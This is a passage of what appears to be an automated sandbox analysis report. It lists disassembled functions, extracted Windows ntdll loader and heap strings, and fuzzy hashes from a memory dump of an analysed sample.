                                                                                                                                                                                    • API String ID: 0-379654539
                                                                                                                                                                                    • Opcode ID: fa859f633a1fdb0e255153f268dd408df2a6fd2c9fb539990dd10820b55be0bb
                                                                                                                                                                                    • Instruction ID: 8e336a51a30360ef44588a713fae86136311f94280816272a48810d8d61b032e
                                                                                                                                                                                    • Opcode Fuzzy Hash: fa859f633a1fdb0e255153f268dd408df2a6fd2c9fb539990dd10820b55be0bb
                                                                                                                                                                                    • Instruction Fuzzy Hash: F3C19070529382CFDB11EF58C044B6AB7E4FF84704F04496EFA968B291EB78C945CB62
                                                                                                                                                                                    Function 012B8402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 012B855E
                                                                                                                                                                                    • LdrpInitializeProcess, xrefs: 012B8422
                                                                                                                                                                                    • minkernel\ntdll\ldrinit.c, xrefs: 012B8421
                                                                                                                                                                                    • @, xrefs: 012B8591
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-1918872054
                                                                                                                                                                                    • Opcode ID: 5ec099d78da415886e0dc3c97f6785032dc639ea8bc5403b75327612658881ae
                                                                                                                                                                                    • Instruction ID: 0804c60f9341033a565e11b036491b4ef189e3555890fb545c9c86a37b0f4483
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5ec099d78da415886e0dc3c97f6785032dc639ea8bc5403b75327612658881ae
                                                                                                                                                                                    • Instruction Fuzzy Hash: 08916B71568346AFD721DA25C881FABBAECEB84794F40092EFB8892151E734D944CB62
                                                                                                                                                                                    Function 012B273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 012F21D9, 012F22B1
                                                                                                                                                                                    • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 012F22B6
                                                                                                                                                                                    • SXS: %s() passed the empty activation context, xrefs: 012F21DE
                                                                                                                                                                                    • .Local, xrefs: 012B28D8
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                                                                                                                                                                    • API String ID: 0-1239276146
                                                                                                                                                                                    • Opcode ID: 778e4a1bd4ff954e4bd84a62f76bbf46f0f20b6b90a5bf03796cc1419285e205
                                                                                                                                                                                    • Instruction ID: 85e4835f4489595faa9840a43548e71cc99b7e7ecbf3f98f0c38e583d2532ebb
                                                                                                                                                                                    • Opcode Fuzzy Hash: 778e4a1bd4ff954e4bd84a62f76bbf46f0f20b6b90a5bf03796cc1419285e205
                                                                                                                                                                                    • Instruction Fuzzy Hash: C9A1A13592032ADBDB25CF58C8C4BE9B7B4BF59354F2441E9DA08A7251D770AE80CF90
                                                                                                                                                                                    Function 012864AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 012E106B
                                                                                                                                                                                    • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 012E1028
                                                                                                                                                                                    • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 012E0FE5
                                                                                                                                                                                    • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 012E10AE
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                                                                                                                                                                    • API String ID: 0-1468400865
                                                                                                                                                                                    • Opcode ID: a2aa9f911141c4f2fa311c55fbdd2ea8be39000cdbb6c25097e1b366ea39575e
                                                                                                                                                                                    • Instruction ID: 202f86eccd95db8af65182a60b4c47ae7173cb64b7eeec549525635e65038c14
                                                                                                                                                                                    • Opcode Fuzzy Hash: a2aa9f911141c4f2fa311c55fbdd2ea8be39000cdbb6c25097e1b366ea39575e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3571D4B15243069FCB21EF18D885BAB7FE8AF54754F400568FA488B286D774D588CBE1
                                                                                                                                                                                    Function 012A245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • apphelp.dll, xrefs: 012A2462
                                                                                                                                                                                    • LdrpDynamicShimModule, xrefs: 012EA998
                                                                                                                                                                                    • minkernel\ntdll\ldrinit.c, xrefs: 012EA9A2
                                                                                                                                                                                    • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 012EA992
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-176724104
                                                                                                                                                                                    • Opcode ID: b965af560347d0b8ab7f530f28cb374838907062dcf45b3444cc19b171f40b63
                                                                                                                                                                                    • Instruction ID: dc86feef043b00eb374fbbad0055c3028d1ac86b0af9b65c3ea9a141801b82ed
                                                                                                                                                                                    • Opcode Fuzzy Hash: b965af560347d0b8ab7f530f28cb374838907062dcf45b3444cc19b171f40b63
                                                                                                                                                                                    • Instruction Fuzzy Hash: 35310975620302EBEB319F5DD88AABABBFDFB84714F56001DEA1167355C7B09981CB80
                                                                                                                                                                                    Function 012929A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • HEAP: , xrefs: 01293264
                                                                                                                                                                                    • HEAP[%wZ]: , xrefs: 01293255
                                                                                                                                                                                    • Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 0129327D
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
                                                                                                                                                                                    • API String ID: 0-617086771
                                                                                                                                                                                    • Opcode ID: ceabdd04b3a925b0bbdd2863460a1b8630b59aa175eeca60d38d29a4d95dd1b3
                                                                                                                                                                                    • Instruction ID: 232c805e1d64e19ce7a010c39743a67fbfc9dacb4a6f3e85b2109cb907fecb8b
                                                                                                                                                                                    • Opcode Fuzzy Hash: ceabdd04b3a925b0bbdd2863460a1b8630b59aa175eeca60d38d29a4d95dd1b3
                                                                                                                                                                                    • Instruction Fuzzy Hash: CD92AA71A2424ADFEF25CFACC4407AEBBF1FF08300F188069E959AB291D774A945CB50
                                                                                                                                                                                    Function 01290770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                                                                                                                                                    • API String ID: 0-4253913091
                                                                                                                                                                                    • Opcode ID: 868e0f610db5a395074d316b9a8c9207dd3fdbf2df9c457c72aa668dbce123d2
                                                                                                                                                                                    • Instruction ID: 98a056a5a18366298c6dd7e4aa1e22b51dc0071dfcee972884f40ea0afce4c15
                                                                                                                                                                                    • Opcode Fuzzy Hash: 868e0f610db5a395074d316b9a8c9207dd3fdbf2df9c457c72aa668dbce123d2
                                                                                                                                                                                    • Instruction Fuzzy Hash: 00F1CC34A2060ADFEB25CF6CC894B6AB7F9FF44708F144168E6169B381D774E981CB94
                                                                                                                                                                                    Function 012A6962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID: $@
                                                                                                                                                                                    • API String ID: 2994545307-1077428164
                                                                                                                                                                                    • Opcode ID: 61d09a3505b3b67ce844b9ed368c1d1aae66c0f16d23161a809e10e311700c82
                                                                                                                                                                                    • Instruction ID: d2b64f7af5a9b0798d6e08e0917c8dbb07fd175e00fb70ac2ee0bacbd1ffea82
                                                                                                                                                                                    • Opcode Fuzzy Hash: 61d09a3505b3b67ce844b9ed368c1d1aae66c0f16d23161a809e10e311700c82
                                                                                                                                                                                    • Instruction Fuzzy Hash: EAC290716283429FEB25CF68C841BABBBE5BF88704F44892DFA89C7241D775D805CB52
                                                                                                                                                                                    Function 0127A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: FilterFullPath$UseFilter$\??\
                                                                                                                                                                                    • API String ID: 0-2779062949
                                                                                                                                                                                    • Opcode ID: 6d6355de1f9a602fcd07db6f9ebad7d3eaf9a280e1bbf59338c227c6ff9a438d
                                                                                                                                                                                    • Instruction ID: 9d13ea30e84a211d749d85e428195812878c8e0cacfa003675e0ea3f11dd89c4
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6d6355de1f9a602fcd07db6f9ebad7d3eaf9a280e1bbf59338c227c6ff9a438d
                                                                                                                                                                                    • Instruction Fuzzy Hash: 36A1617196162A9BDB31DF68CC88BEAB7B8EF44710F1041E9DA08A7250DB359E84CF50
                                                                                                                                                                                    Function 012A0BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • Failed to allocated memory for shimmed module list, xrefs: 012EA10F
                                                                                                                                                                                    • LdrpCheckModule, xrefs: 012EA117
                                                                                                                                                                                    • minkernel\ntdll\ldrinit.c, xrefs: 012EA121
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-161242083
                                                                                                                                                                                    • Opcode ID: 44af6d450120e44cf7c99f2f5d93cff5f14f187c6f30759df022c536b88f6464
                                                                                                                                                                                    • Instruction ID: 9dee890550f88f3258d9604ebc011b9a64db4e1977811505493399b9a24c82fb
                                                                                                                                                                                    • Opcode Fuzzy Hash: 44af6d450120e44cf7c99f2f5d93cff5f14f187c6f30759df022c536b88f6464
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9C71DE70A20206DFDB25DF68C985BBEBBF9FB84704F54402DEA02AB251E774AD41CB54
                                                                                                                                                                                    Function 01290A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                                                                                                                                                                                    • API String ID: 0-1334570610
                                                                                                                                                                                    • Opcode ID: 87c6eebe28dc031cb8a76d65759fbbdcc88b5a3df5a3105556b6aa061f1f5317
                                                                                                                                                                                    • Instruction ID: 5c8668ef41d995b96052d28958c80c6ef427aeea8de274b383c9c331dca42109
                                                                                                                                                                                    • Opcode Fuzzy Hash: 87c6eebe28dc031cb8a76d65759fbbdcc88b5a3df5a3105556b6aa061f1f5317
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4361F170620306DFDB29CF2CC495B6ABBE9FF44308F148559E5598F292D7B4E881CB94
                                                                                                                                                                                    Function 012BC720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • LdrpInitializePerUserWindowsDirectory, xrefs: 012F82DE
                                                                                                                                                                                    • minkernel\ntdll\ldrinit.c, xrefs: 012F82E8
                                                                                                                                                                                    • Failed to reallocate the system dirs string !, xrefs: 012F82D7
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-1783798831
                                                                                                                                                                                    • Opcode ID: afe1237939a57a9c747cdd5911d14d18aca458649fdfa84b05a1002c2a0d5374
                                                                                                                                                                                    • Instruction ID: e68e19a185fdf32a5deea9d037a79a541c8d4647d1a0f93f39754a27b342f7f2
                                                                                                                                                                                    • Opcode Fuzzy Hash: afe1237939a57a9c747cdd5911d14d18aca458649fdfa84b05a1002c2a0d5374
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7941F3B1564706ABD735EB68D885BABB7ECEF44760F00452AFA4497290E770E8008B91
                                                                                                                                                                                    Function 0133C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • PreferredUILanguages, xrefs: 0133C212
                                                                                                                                                                                    • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0133C1C5
                                                                                                                                                                                    • @, xrefs: 0133C1F1
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                                                                                                                                                                    • API String ID: 0-2968386058
                                                                                                                                                                                    • Opcode ID: b5689810567d6d110ba5a3ea1ec56ae3bb7def6016f5aab9cf8d5f776f94097a
                                                                                                                                                                                    • Instruction ID: 0c92172cf75d247ad69badbde936b80441b3ecdbce713a1d889dc05530dee7ab
                                                                                                                                                                                    • Opcode Fuzzy Hash: b5689810567d6d110ba5a3ea1ec56ae3bb7def6016f5aab9cf8d5f776f94097a
                                                                                                                                                                                    • Instruction Fuzzy Hash: 60415372E10219EFDF11DAD8C851FEEBBB8AB54704F14416BEA09F7240D7749A44CB94
                                                                                                                                                                                    Function 01314144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                                                                                                                                                                    • API String ID: 0-1373925480
                                                                                                                                                                                    • Opcode ID: 8409a43d9d42984d0b4e95c3cccea64612331a6b0aa33a6cef9ae02657b5c5f4
                                                                                                                                                                                    • Instruction ID: ccd94a54bf70d026efced282ce51b081c9e26771d72479c525d963f36668481f
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8409a43d9d42984d0b4e95c3cccea64612331a6b0aa33a6cef9ae02657b5c5f4
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2B412631A10658CBEB2ADBE8C854BEDBBF8FF55348F240469D901EB785D7348942CB51
                                                                                                                                                                                    Function 01304755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • LdrpCheckRedirection, xrefs: 0130488F
                                                                                                                                                                                    • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 01304888
                                                                                                                                                                                    • minkernel\ntdll\ldrredirect.c, xrefs: 01304899
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                                                                                                                                                    • API String ID: 0-3154609507
                                                                                                                                                                                    • Opcode ID: 9fbbaaa5326a789da7a07c6c5c4ffbc22cda4ad34222bbff004011dd7699d10d
                                                                                                                                                                                    • Instruction ID: 4bbcf6cc8c90e69d9048d1eb29f7c9dbad4dfb3acb370d2a0107994bb3206343
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9fbbaaa5326a789da7a07c6c5c4ffbc22cda4ad34222bbff004011dd7699d10d
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9841D332A006519FDB23CF1CD860A26BFE8AF89A58F05095DEF5997691D331DA00CB81
                                                                                                                                                                                    Function 01290BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                                                                                                                                                                                    • API String ID: 0-2558761708
                                                                                                                                                                                    • Opcode ID: 3adfc75ddf268d510bcbbc5c8f30f888d5c7bb654d9375073e1ce9d98e19bc6c
                                                                                                                                                                                    • Instruction ID: 32100baf2f598160618fdf5e99d976a1c64309e503c79ff4e744aeb94d6221b0
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3adfc75ddf268d510bcbbc5c8f30f888d5c7bb654d9375073e1ce9d98e19bc6c
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9411E131334146DFDB29DE1CC8AAB7AB3E8EF40619F588129F506CB251EB70D840C755
                                                                                                                                                                                    Function 013020DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • Process initialization failed with status 0x%08lx, xrefs: 013020F3
                                                                                                                                                                                    • minkernel\ntdll\ldrinit.c, xrefs: 01302104
                                                                                                                                                                                    • LdrpInitializationFailure, xrefs: 013020FA
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                    • API String ID: 0-2986994758
                                                                                                                                                                                    • Opcode ID: 5632949af90bb96f81a40b064dd81431eb4a930c4331da73d842cc7de40fbe34
                                                                                                                                                                                    • Instruction ID: 274c4a58d772188ccbca86b0eed8ad7d483f4d7ea80cb2854df3dd8f02d47b7d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5632949af90bb96f81a40b064dd81431eb4a930c4331da73d842cc7de40fbe34
                                                                                                                                                                                    • Instruction Fuzzy Hash: 5AF0C235650348AFE739E64CCC56FAA77ADEB80B58F500069FB40772C5D2B0A940CB91
                                                                                                                                                                                    Function 012903E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: ___swprintf_l
                                                                                                                                                                                    • String ID: #%u
                                                                                                                                                                                    • API String ID: 48624451-232158463
                                                                                                                                                                                    • Opcode ID: 8e4d800c72e8b6b053b4b3054b6320a3f2742d2fe391a75e1ca17076e445659b
                                                                                                                                                                                    • Instruction ID: aa66a47a6be91b410f3ea384228755d455b93b70cef13f9cb8e21a46e73051cd
                                                                                                                                                                                    • Opcode Fuzzy Hash: 8e4d800c72e8b6b053b4b3054b6320a3f2742d2fe391a75e1ca17076e445659b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4A715771A1014A9FDF05DFA8C994BAEB7F8FF08704F144069EA05E7251EA34EE01CBA4
                                                                                                                                                                                    Function 0128A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    • LdrResSearchResource Exit, xrefs: 0128AA25
                                                                                                                                                                                    • LdrResSearchResource Enter, xrefs: 0128AA13
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                                                                                                                                                                                    • API String ID: 0-4066393604
                                                                                                                                                                                    • Opcode ID: aba65bb2565d0a8d7db38d6e67729bac2d2aa610cf29dd5f6986ce68398a7a2d
                                                                                                                                                                                    • Instruction ID: 33d0a6f442e3f0102e0b7707a97f0f0f6237b075b28a3293d99d77d23d02a5cc
                                                                                                                                                                                    • Opcode Fuzzy Hash: aba65bb2565d0a8d7db38d6e67729bac2d2aa610cf29dd5f6986ce68398a7a2d
                                                                                                                                                                                    • Instruction Fuzzy Hash: D8E18571E2121ADFEF21DF99C944BAEBBB9BF14310F144426EA01E7291EB74D941CB50
                                                                                                                                                                                    Function 0134A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: `$`
                                                                                                                                                                                    • API String ID: 0-197956300
                                                                                                                                                                                    • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                                                                                                                    • Instruction ID: 2b0027800f77355418a745634fe10d20dcc942f6ec0c8ac168569bd53483951c
                                                                                                                                                                                    • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                                                                                                                    • Instruction Fuzzy Hash: 84C1D0312443469BEB25CF28C841B6BBBE5EFC4718F084A2DF696DB291D778E505CB81
                                                                                                                                                                                    Function 012FE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID: Legacy$UEFI
                                                                                                                                                                                    • API String ID: 2994545307-634100481
                                                                                                                                                                                    • Opcode ID: dd77a33fad4574de9d2a18fcaae08b33d22f368d15d875df7a97d43505f82be5
                                                                                                                                                                                    • Instruction ID: 5b4619f3f48ec2349eae36d9eb35472038da9faba15dd9fa09c1f2f55bb856c6
                                                                                                                                                                                    • Opcode Fuzzy Hash: dd77a33fad4574de9d2a18fcaae08b33d22f368d15d875df7a97d43505f82be5
